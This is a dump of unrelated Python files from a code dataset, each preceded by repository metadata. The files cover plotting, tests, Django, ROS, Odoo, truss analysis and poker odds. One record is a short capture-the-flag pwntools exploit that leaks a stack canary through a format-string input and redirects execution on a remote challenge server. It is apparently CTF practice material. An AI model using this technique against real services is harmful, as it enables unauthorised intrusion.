bf779c6cce93feb22f3ac0830fea42d46639f099 | 18,529 | py | Python | papers/para-4f/figures/coordinates/detection-coords.py | talonchandler/polharmonic | 2aa3ca984e11050f901579b8eaa45a3a61d07957 | [
"MIT"
] | null | null | null | papers/para-4f/figures/coordinates/detection-coords.py | talonchandler/polharmonic | 2aa3ca984e11050f901579b8eaa45a3a61d07957 | [
"MIT"
] | null | null | null | papers/para-4f/figures/coordinates/detection-coords.py | talonchandler/polharmonic | 2aa3ca984e11050f901579b8eaa45a3a61d07957 | [
"MIT"
] | null | null | null | import numpy as np
import matplotlib.pyplot as plt
import matplotlib.lines as lines
import matplotlib.text as text
import matplotlib.gridspec as gridspec
import matplotlib.patches as mpatches
from matplotlib.collections import PatchCollection
patches = []
from scipy import special
outer_gridspec = gridspec.GridSpec
inn... | 66.175 | 208 | 0.48076 | 2,689 | 18,529 | 3.240982 | 0.078468 | 0.102238 | 0.133104 | 0.069765 | 0.738038 | 0.697648 | 0.673322 | 0.647734 | 0.629948 | 0.619162 | 0 | 0.072996 | 0.338281 | 18,529 | 279 | 209 | 66.412186 | 0.637795 | 0.124615 | 0 | 0.341232 | 0 | 0 | 0.057355 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.018957 | false | 0 | 0.042654 | 0 | 0.061611 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf79228c4edc2e439a1f606b6d630160925e60d1 | 5,002 | py | Python | hftools/tests/test_utils.py | extrakteon/hftools-1 | d65532d34dc24be3aa1e280701f0b4d672be5427 | [
"BSD-3-Clause-Clear"
] | 3 | 2017-03-26T01:32:55.000Z | 2018-01-12T10:01:41.000Z | hftools/tests/test_utils.py | arsenovic/hftools | b829f2437fae545cffbc3d14dc9c00ae57b1a177 | [
"BSD-3-Clause-Clear"
] | null | null | null | hftools/tests/test_utils.py | arsenovic/hftools | b829f2437fae545cffbc3d14dc9c00ae57b1a177 | [
"BSD-3-Clause-Clear"
] | 1 | 2019-12-06T17:08:30.000Z | 2019-12-06T17:08:30.000Z | # -*- coding: ISO-8859-1 -*-
#-----------------------------------------------------------------------------
# Copyright (c) 2014, HFTools Development Team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#---------------------... | 29.251462 | 78 | 0.609156 | 704 | 5,002 | 4.170455 | 0.190341 | 0.078678 | 0.122956 | 0.155313 | 0.52861 | 0.479905 | 0.44312 | 0.348433 | 0.31267 | 0.247275 | 0 | 0.064712 | 0.209116 | 5,002 | 170 | 79 | 29.423529 | 0.677452 | 0.080968 | 0 | 0.227273 | 0 | 0 | 0.044256 | 0 | 0 | 0 | 0 | 0 | 0.3 | 1 | 0.345455 | false | 0 | 0.063636 | 0.009091 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf79c9f269d7e34ca33f443a300d67b31859a2e6 | 1,082 | py | Python | website_sale_birthdate/controllers.py | factorlibre/website-addons | 9a0c7a238e2b6030d57f7a08d48816b4f2431524 | [
"MIT"
] | 1 | 2020-03-01T03:04:21.000Z | 2020-03-01T03:04:21.000Z | website_sale_birthdate/controllers.py | factorlibre/website-addons | 9a0c7a238e2b6030d57f7a08d48816b4f2431524 | [
"MIT"
] | null | null | null | website_sale_birthdate/controllers.py | factorlibre/website-addons | 9a0c7a238e2b6030d57f7a08d48816b4f2431524 | [
"MIT"
] | 3 | 2019-07-29T20:23:16.000Z | 2021-01-07T20:51:24.000Z | import openerp.addons.website_sale.controllers.main as main
from odoo.http import request
class WebsiteSaleBirthdate(main.WebsiteSale):
def checkout_values(self, data=None):
values = super(WebsiteSaleBirthdate, self).checkout_values(data)
current_user = request.env.user
# if user is ac... | 26.390244 | 78 | 0.659889 | 116 | 1,082 | 5.974138 | 0.405172 | 0.047619 | 0.125541 | 0.160173 | 0.077922 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.253235 | 1,082 | 40 | 79 | 27.05 | 0.857673 | 0.018484 | 0 | 0 | 0 | 0 | 0.063208 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.130435 | false | 0 | 0.086957 | 0 | 0.391304 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf807dc665c38151f36dea85b21ae98204d144b7 | 4,923 | py | Python | starter/cron_NewS3POA.py | gnott/elife-bot | 584c315d15d1289e0d2c27c28aaaae31174812e4 | [
"MIT"
] | null | null | null | starter/cron_NewS3POA.py | gnott/elife-bot | 584c315d15d1289e0d2c27c28aaaae31174812e4 | [
"MIT"
] | null | null | null | starter/cron_NewS3POA.py | gnott/elife-bot | 584c315d15d1289e0d2c27c28aaaae31174812e4 | [
"MIT"
] | null | null | null | import os
# Add parent directory for imports
parentdir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
os.sys.path.insert(0, parentdir)
import boto.swf
import settings as settingsLib
import log
import time
import importlib
from optparse import OptionParser
import provider.simpleDB as dblib
import provid... | 32.82 | 100 | 0.6169 | 570 | 4,923 | 5.108772 | 0.326316 | 0.04533 | 0.020604 | 0.010302 | 0.199863 | 0.10989 | 0.088599 | 0.088599 | 0.038462 | 0.038462 | 0 | 0.007316 | 0.305911 | 4,923 | 149 | 101 | 33.040268 | 0.844893 | 0.081454 | 0 | 0.146067 | 0 | 0 | 0.077624 | 0.015278 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.011236 | 0.168539 | null | null | 0.011236 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf89ea3bf36c3e5ba654b42642b126cccb3c58de | 3,914 | py | Python | scripts/leader.py | redglassli/ROS-Turtlebot | 1aca144a0e90729597150e8d8440739949817a6e | [
"MIT"
] | 1 | 2022-02-21T02:02:11.000Z | 2022-02-21T02:02:11.000Z | turtlebot3_dqn/src/turtlebot3_dqn/scripts/leader.py | 2529342549/turtlebot3_machine_learning | bdb8cc0fa0110269cd3573d3f78011c3e0201e09 | [
"Apache-2.0"
] | null | null | null | turtlebot3_dqn/src/turtlebot3_dqn/scripts/leader.py | 2529342549/turtlebot3_machine_learning | bdb8cc0fa0110269cd3573d3f78011c3e0201e09 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# Copyright (c) 2011, Willow Garage, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright
# noti... | 33.741379 | 89 | 0.67348 | 522 | 3,914 | 4.988506 | 0.431034 | 0.023041 | 0.024194 | 0.032258 | 0.205837 | 0.170507 | 0.170507 | 0.107527 | 0.107527 | 0.107527 | 0 | 0.015973 | 0.232243 | 3,914 | 115 | 90 | 34.034783 | 0.850582 | 0.430761 | 0 | 0.203125 | 0 | 0 | 0.051002 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.109375 | null | null | 0.078125 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf8af83ae94e97eda2b0440640329b0c002ec3ca | 951 | py | Python | PythonAutomation/SeleniumAuto/SuiteUITest.py | leoli2019/AutomationTestingPython | b6111e82eaf03bddfbcee196a2630909882669fd | [
"MIT"
] | null | null | null | PythonAutomation/SeleniumAuto/SuiteUITest.py | leoli2019/AutomationTestingPython | b6111e82eaf03bddfbcee196a2630909882669fd | [
"MIT"
] | null | null | null | PythonAutomation/SeleniumAuto/SuiteUITest.py | leoli2019/AutomationTestingPython | b6111e82eaf03bddfbcee196a2630909882669fd | [
"MIT"
] | null | null | null | import unittest
import PythonAutomation
from PythonAutomation.SeleniumAuto.login_20_ui import TestLoginOrion
from PythonAutomation.SeleniumAuto.NBAI_Pro_upload_ui import OrionProUploadUI
from PythonAutomation.SeleniumAuto.HTML import HTMLStyle
class MyTestSuite(unittest.TestCase):
def test_cases(self):
sm... | 35.222222 | 119 | 0.723449 | 88 | 951 | 7.556818 | 0.488636 | 0.210526 | 0.144361 | 0.105263 | 0.378947 | 0.129323 | 0 | 0 | 0 | 0 | 0 | 0.007905 | 0.201893 | 951 | 26 | 120 | 36.576923 | 0.868248 | 0 | 0 | 0 | 0 | 0 | 0.07571 | 0.036803 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045455 | false | 0 | 0.227273 | 0 | 0.318182 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf8b2b279dfea7b5f08585dec9bdf8fbbe230bcd | 521 | py | Python | moderate/decorators.py | sandnima/blog-with-Django | 77cb90f4e3aa70efa8d5190146f6acb4cd22d9a7 | [
"MIT"
] | null | null | null | moderate/decorators.py | sandnima/blog-with-Django | 77cb90f4e3aa70efa8d5190146f6acb4cd22d9a7 | [
"MIT"
] | null | null | null | moderate/decorators.py | sandnima/blog-with-Django | 77cb90f4e3aa70efa8d5190146f6acb4cd22d9a7 | [
"MIT"
] | null | null | null | from django.contrib.auth.decorators import user_passes_test
def user_in_group(function=None, group=None, redirect_field_name="", login_url="/403"):
def user_in_the_group(user):
if user:
return user.groups.filter(name=group).count() > 0
return False
actual_decorator = user_passes_te... | 30.647059 | 87 | 0.702495 | 69 | 521 | 4.956522 | 0.434783 | 0.052632 | 0.149123 | 0.081871 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009828 | 0.21881 | 521 | 16 | 88 | 32.5625 | 0.830467 | 0 | 0 | 0 | 0 | 0 | 0.007678 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0.142857 | 0.071429 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
bf8dcc2a29a8b1327673e3455c0c5fcd555c8a6e | 526 | py | Python | PWN/WhaleCTF/WhaleCTF_pwn200/Method1_200.py | Cossack9989/SEC_LEARNING | 34126ac7427d48f774f03b43d40fd128c5468bc9 | [
"MIT"
] | 13 | 2018-11-28T07:40:04.000Z | 2022-02-05T15:14:27.000Z | PWN/WhaleCTF/WhaleCTF_pwn200/Method1_200.py | Cossack9989/SEC_LEARNING | 34126ac7427d48f774f03b43d40fd128c5468bc9 | [
"MIT"
] | null | null | null | PWN/WhaleCTF/WhaleCTF_pwn200/Method1_200.py | Cossack9989/SEC_LEARNING | 34126ac7427d48f774f03b43d40fd128c5468bc9 | [
"MIT"
] | 3 | 2019-12-18T16:43:10.000Z | 2021-09-10T05:45:07.000Z | from pwn import *
elf=ELF('./binary_200')
#remote server has no elf named binary_200, so we load local elf
r=remote('bamboofox.cs.nctu.edu.tw',22002)
print 'start'
#r=process('./binary_200')
sysadr=elf.symbols['canary_protect_me']
#use gdb to justify canary in args of printf
r.sendline('%15$08x')
print 'leak canary ... | 23.909091 | 69 | 0.726236 | 90 | 526 | 4.188889 | 0.688889 | 0.071618 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.059574 | 0.106464 | 526 | 21 | 70 | 25.047619 | 0.742553 | 0.326996 | 0 | 0 | 0 | 0 | 0.282857 | 0.068571 | 0 | 0 | 0.028571 | 0 | 0 | 0 | null | null | 0 | 0.083333 | null | null | 0.25 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf8f877a40fe69d3a50acc86d23414261ac3d2f5 | 5,870 | py | Python | drawBot/scriptTools.py | LettError/drawbot | dce9af449d429af3f10827654d8b9d3bb8bb8efe | [
"BSD-2-Clause"
] | 2 | 2015-09-17T01:27:02.000Z | 2020-11-26T12:07:13.000Z | drawBot/scriptTools.py | LettError/drawbot | dce9af449d429af3f10827654d8b9d3bb8bb8efe | [
"BSD-2-Clause"
] | null | null | null | drawBot/scriptTools.py | LettError/drawbot | dce9af449d429af3f10827654d8b9d3bb8bb8efe | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: UTF-8 -*-
import __future__
import os
import sys
import traceback
import site
import tempfile
import Quartz
import time
class StdOutput(object):
def __init__(self, output, isError=False):
self.data = output
self.isError = isError
def write(self, data):
if isinstance(data... | 27.952381 | 110 | 0.574617 | 617 | 5,870 | 5.338736 | 0.307942 | 0.016393 | 0.021858 | 0.010322 | 0.143898 | 0.143898 | 0.097753 | 0.097753 | 0.097753 | 0.097753 | 0 | 0.002528 | 0.326065 | 5,870 | 209 | 111 | 28.086124 | 0.830131 | 0.034583 | 0 | 0.30303 | 0 | 0 | 0.059205 | 0.004679 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.018182 | 0.072727 | null | null | 0.024242 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf8ff0301210ab6008aca2bd90bccfe365137eed | 3,271 | py | Python | code/set-app-package.py | fogies/docker-android-accessibility-capture | f07f675325dbeedbea4d3ef824f0558b61b29738 | [
"Apache-2.0"
] | null | null | null | code/set-app-package.py | fogies/docker-android-accessibility-capture | f07f675325dbeedbea4d3ef824f0558b61b29738 | [
"Apache-2.0"
] | null | null | null | code/set-app-package.py | fogies/docker-android-accessibility-capture | f07f675325dbeedbea4d3ef824f0558b61b29738 | [
"Apache-2.0"
] | null | null | null | from com.android.monkeyrunner import MonkeyRunner, MonkeyDevice, MonkeyImage
#import com.android.provider.Settings
import time, sys
refFile = './logs/passedScreens/ServiceScreen/serviceScreen'
ref_x=0
ref_y=20
ref_w=240
ref_h=380
ACCEPTANCE = 1.0
device = MonkeyRunner.waitForConnection()
count=1
logsdir=sys.argv[1]
fil... | 32.71 | 98 | 0.749312 | 439 | 3,271 | 5.501139 | 0.28246 | 0.039752 | 0.045549 | 0.095238 | 0.400828 | 0.400828 | 0.400828 | 0.386335 | 0.32381 | 0.312629 | 0 | 0.012965 | 0.080404 | 3,271 | 99 | 99 | 33.040404 | 0.789894 | 0.407826 | 0 | 0.438596 | 0 | 0 | 0.164477 | 0.065686 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.017544 | 0.035088 | null | null | 0.140351 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf9089c28049aa703865696d043a216522f778de | 602 | py | Python | boards/urls.py | Xerrex/django_boards_project | 60be478867afa4c9dbc6eb9494dfc046f438b75a | [
"MIT"
] | null | null | null | boards/urls.py | Xerrex/django_boards_project | 60be478867afa4c9dbc6eb9494dfc046f438b75a | [
"MIT"
] | 4 | 2020-06-05T23:12:01.000Z | 2021-06-29T07:06:30.000Z | boards/urls.py | Xerrex/django_boards_project | 60be478867afa4c9dbc6eb9494dfc046f438b75a | [
"MIT"
] | null | null | null | from django.urls import path
from . import views
urlpatterns = [
path('', views.BoardListView.as_view(), name='home'),
path('boards/<int:pk>/', views.TopicListView.as_view(), name='board_topics'),
path('boards/<int:pk>/new/', views.new_topic, name='new_topic'),
path('boards/<int:pk>/topics/<int:topic_... | 46.307692 | 124 | 0.689369 | 88 | 602 | 4.545455 | 0.295455 | 0.125 | 0.1625 | 0.1875 | 0.2325 | 0.2325 | 0.2325 | 0.2325 | 0 | 0 | 0 | 0 | 0.093023 | 602 | 12 | 125 | 50.166667 | 0.732601 | 0 | 0 | 0 | 0 | 0 | 0.393688 | 0.240864 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf97db040fec59591d1195ea5dd22a0b5661ae7c | 874 | py | Python | dao/news/news_img_dao.py | emaste-r/doctor_server | 6369b26a4ef87ca2546c94d9085eea92cb37df34 | [
"MIT"
] | null | null | null | dao/news/news_img_dao.py | emaste-r/doctor_server | 6369b26a4ef87ca2546c94d9085eea92cb37df34 | [
"MIT"
] | null | null | null | dao/news/news_img_dao.py | emaste-r/doctor_server | 6369b26a4ef87ca2546c94d9085eea92cb37df34 | [
"MIT"
] | null | null | null | # coding=utf-8
from dao.base.base_dao import BaseDao
from support.db.mysql_db import doctor_conn
class NewsImgDao(BaseDao):
db_name = "doctor"
table_name = "news_img"
escape_list = [] # 需要转义的list
quot_list = ["img_url", "thumb_url", "create_time", "update_time"] # 需要带引号的list
not_append_list = ["... | 31.214286 | 86 | 0.606407 | 112 | 874 | 4.428571 | 0.5 | 0.096774 | 0.052419 | 0.056452 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001597 | 0.283753 | 874 | 27 | 87 | 32.37037 | 0.790735 | 0.17849 | 0 | 0 | 0 | 0 | 0.195846 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0.111111 | 0 | 0.611111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
bf97f37af74b92f2e62fe6ec4eb4bc33eb232b72 | 832 | py | Python | files/migrations/0001_initial.py | anapaulagomes/django-text-search | 7f308f9761f9ea5e06468cb8dd9cb7ea7b744379 | [
"MIT"
] | 9 | 2020-10-25T12:40:49.000Z | 2020-10-28T19:00:45.000Z | files/migrations/0001_initial.py | anapaulagomes/django-text-search | 7f308f9761f9ea5e06468cb8dd9cb7ea7b744379 | [
"MIT"
] | 7 | 2020-10-25T12:01:18.000Z | 2021-09-22T19:38:42.000Z | files/migrations/0001_initial.py | anapaulagomes/django-text-search | 7f308f9761f9ea5e06468cb8dd9cb7ea7b744379 | [
"MIT"
] | null | null | null | # Generated by Django 3.1.2 on 2020-10-30 09:30
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = []
operations = [
migrations.CreateModel(
name="File",
fields=[
(
"id",
... | 25.212121 | 85 | 0.423077 | 64 | 832 | 5.40625 | 0.6875 | 0.095376 | 0.086705 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034562 | 0.478365 | 832 | 32 | 86 | 26 | 0.762673 | 0.054087 | 0 | 0.16 | 1 | 0 | 0.042038 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.04 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf9fceff61e302b5c1fb6a0cd120692402684486 | 2,448 | py | Python | truss_example.py | kupc25648/truss_analysis_3d | a0fe14f4e9cf92097da3bf33ddce130dbf6b662c | [
"MIT"
] | 1 | 2020-09-30T12:02:40.000Z | 2020-09-30T12:02:40.000Z | truss_example.py | kupc25648/truss_analysis_3d | a0fe14f4e9cf92097da3bf33ddce130dbf6b662c | [
"MIT"
] | null | null | null | truss_example.py | kupc25648/truss_analysis_3d | a0fe14f4e9cf92097da3bf33ddce130dbf6b662c | [
"MIT"
] | null | null | null | '''
==================================================================
Eample file for Space truss analysis and export
Req. python,numpy
2020.03
==================================================================
'''
'''
====================================================================
Import Part
==================... | 29.853659 | 90 | 0.368464 | 243 | 2,448 | 3.650206 | 0.436214 | 0.033822 | 0.11274 | 0.117249 | 0.121759 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031464 | 0.104167 | 2,448 | 81 | 91 | 30.222222 | 0.373005 | 0.243873 | 0 | 0 | 0 | 0 | 0.019149 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.04 | 0 | 0.04 | 0.08 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bfa3788a28f256c3606a08b1c125cb1e838bc4f2 | 931 | py | Python | setup.py | pauloborges/nrftool | 885581a672ec766aab59e488a14b40ac24d7a968 | [
"MIT"
] | 7 | 2015-08-22T20:41:02.000Z | 2021-10-17T04:46:53.000Z | setup.py | pauloborges/nrftool | 885581a672ec766aab59e488a14b40ac24d7a968 | [
"MIT"
] | null | null | null | setup.py | pauloborges/nrftool | 885581a672ec766aab59e488a14b40ac24d7a968 | [
"MIT"
] | 3 | 2015-07-10T19:38:46.000Z | 2016-06-20T09:10:23.000Z | #!/usr/bin/env python
# coding: utf-8
import os
import sys
from setuptools import setup, find_packages
import nrftool
def clean():
os.system("rm -rf dist *.egg-info")
def publish():
os.system("python setup.py sdist upload")
if "publish" in sys.argv:
clean()
publish()
sys.exit()
elif "clean" in sys.argv:
cle... | 19.395833 | 72 | 0.6971 | 118 | 931 | 5.432203 | 0.576271 | 0.037442 | 0.028081 | 0.043682 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003774 | 0.146079 | 931 | 47 | 73 | 19.808511 | 0.802516 | 0.03652 | 0 | 0.114286 | 0 | 0 | 0.351955 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057143 | true | 0 | 0.114286 | 0 | 0.171429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bfa3d4622e895ad43b1b0fc4ce50e74852222f4c | 4,620 | py | Python | genes/models.py | xueyanmu/django-genes | 38f536a0f0c14fc575c57f77b390aa3ceb5b6c9e | [
"BSD-3-Clause"
] | 4 | 2017-08-02T09:57:10.000Z | 2020-03-24T17:30:23.000Z | genes/models.py | xueyanmu/django-genes | 38f536a0f0c14fc575c57f77b390aa3ceb5b6c9e | [
"BSD-3-Clause"
] | 16 | 2017-07-19T15:43:56.000Z | 2019-02-12T20:15:01.000Z | genes/models.py | xueyanmu/django-genes | 38f536a0f0c14fc575c57f77b390aa3ceb5b6c9e | [
"BSD-3-Clause"
] | 4 | 2017-07-18T20:50:12.000Z | 2021-04-06T22:21:14.000Z | import re
from django.db import models
from django.core.exceptions import FieldError
from organisms.models import Organism
# Regular expressions to be matched in the methods of 'Gene'.
nonalpha = re.compile(r'[^a-zA-Z0-9]')
num = re.compile(r'[0-9]')
class Gene(models.Model):
"""
The class 'Gene' extends th... | 34.477612 | 90 | 0.654545 | 600 | 4,620 | 4.908333 | 0.35 | 0.044822 | 0.043464 | 0.032598 | 0.189474 | 0.089643 | 0.03871 | 0.026486 | 0 | 0 | 0 | 0.003742 | 0.248052 | 4,620 | 133 | 91 | 34.736842 | 0.843984 | 0.319697 | 0 | 0.114286 | 0 | 0 | 0.037298 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.057143 | 0.028571 | 0.514286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
bfa78e93df7b0f378d66a8cf1c83482832990a28 | 675 | py | Python | poker/poker_base/prob.py | chitty/poker_base | 913c13b89a0c4e4c0ec7e3b01495a96309a02f26 | [
"MIT"
] | null | null | null | poker/poker_base/prob.py | chitty/poker_base | 913c13b89a0c4e4c0ec7e3b01495a96309a02f26 | [
"MIT"
] | null | null | null | poker/poker_base/prob.py | chitty/poker_base | 913c13b89a0c4e4c0ec7e3b01495a96309a02f26 | [
"MIT"
] | null | null | null | from poker import hand_rank
from deal import deal
hand_names = ["High Card", "Pair", "Two Pair", "3 of a Kind", "Straight",
"Flush", "Full House", "4 of a Kind", "Straight Flush"]
def hand_percentage(n=700*1000):
"""Sample n random hands and print a table of percentages for each type
of hand... | 28.125 | 75 | 0.592593 | 104 | 675 | 3.788462 | 0.557692 | 0.040609 | 0.035533 | 0.076142 | 0.101523 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063265 | 0.274074 | 675 | 23 | 76 | 29.347826 | 0.740816 | 0 | 0 | 0 | 0 | 0 | 0.184676 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.153846 | null | null | 0.076923 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bfab2aada5b3b991c9145c76e4f215367cedb9d2 | 627 | py | Python | libscampi/contrib/cms/conduit/widgets.py | azpm/django-scampi-cms | 33fa5786cc93f4c6aff14c9bb6306ac32c6cd486 | [
"BSD-3-Clause"
] | 2 | 2016-07-28T19:39:49.000Z | 2021-12-10T15:01:54.000Z | libscampi/contrib/cms/conduit/widgets.py | azpm/django-scampi-cms | 33fa5786cc93f4c6aff14c9bb6306ac32c6cd486 | [
"BSD-3-Clause"
] | null | null | null | libscampi/contrib/cms/conduit/widgets.py | azpm/django-scampi-cms | 33fa5786cc93f4c6aff14c9bb6306ac32c6cd486 | [
"BSD-3-Clause"
] | 1 | 2016-01-20T23:49:36.000Z | 2016-01-20T23:49:36.000Z | from django.contrib.admin.widgets import FilteredSelectMultiple
from django.utils.safestring import mark_safe
class PickerFilterSelectMultiple(FilteredSelectMultiple):
"""
A SelectMultiple for admin that works with the auto generated form fields
from conduit.picker.js
"""
def render(self,... | 34.833333 | 90 | 0.688995 | 71 | 627 | 6.042254 | 0.619718 | 0.04662 | 0.065268 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.204147 | 627 | 17 | 91 | 36.882353 | 0.859719 | 0.15311 | 0 | 0 | 0 | 0 | 0.057312 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.222222 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
bfae7f465e17aa2503daa4c9dbcd4d620e71ff31 | 473 | py | Python | src/negation.py | rohitthapliyal2000/Amazon-Seller-Fake-Detection | 01242b5e3d46ffd14a164532dd66d3bded70b776 | [
"MIT"
